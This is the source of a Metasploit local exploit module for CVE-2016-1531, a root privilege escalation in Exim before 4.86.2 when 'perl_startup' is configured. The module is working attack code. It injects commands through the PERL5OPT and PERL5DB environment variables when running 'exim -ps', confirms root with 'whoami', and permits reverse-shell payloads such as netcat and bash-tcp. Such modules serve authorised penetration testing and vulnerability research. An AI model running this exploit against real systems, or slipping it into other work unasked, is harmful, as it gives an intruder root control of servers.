Exim perl_startup Privilege Escalation

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Exim "perl_startup" Privilege Escalation',
      'Description'     => %q{
        This module exploits a Perl injection vulnerability in Exim < 4.86.2
        given the presence of the "perl_startup" configuration parameter.
      },
      'Author'          => [
        'Dawid Golunski', # Vulnerability discovery
        'wvu'             # Metasploit module
      ],
      'References'      => [
        %w{CVE 2016-1531},
        %w{EDB 39549},
        %w{URL http://www.exim.org/static/doc/CVE-2016-1531.txt}
      ],
      'DisclosureDate'  => 'Mar 10 2016',
      'License'         => MSF_LICENSE,
      'Platform'        => 'unix',
      'Arch'            => ARCH_CMD,
      'SessionTypes'    => %w{shell meterpreter},
      'Privileged'      => true,
      'Payload'         => {
        'BadChars'      => "\x22\x27", # " and '
        'Compat'        => {
          'PayloadType' => 'cmd cmd_bash',
          'RequiredCmd' => 'generic netcat netcat-e bash-tcp telnet'
        }
      },
      'Targets'         => [
        ['Exim < 4.86.2', {}]
      ],
      'DefaultTarget'   => 0
    ))
  end

  def check
    if exploit('whoami') == 'root'
      CheckCode::Vulnerable
    else
      CheckCode::Safe
    end
  end

  def exploit(c = payload.encoded)
    # PERL5DB technique from http://perldoc.perl.org/perlrun.html
    cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-})
  end

end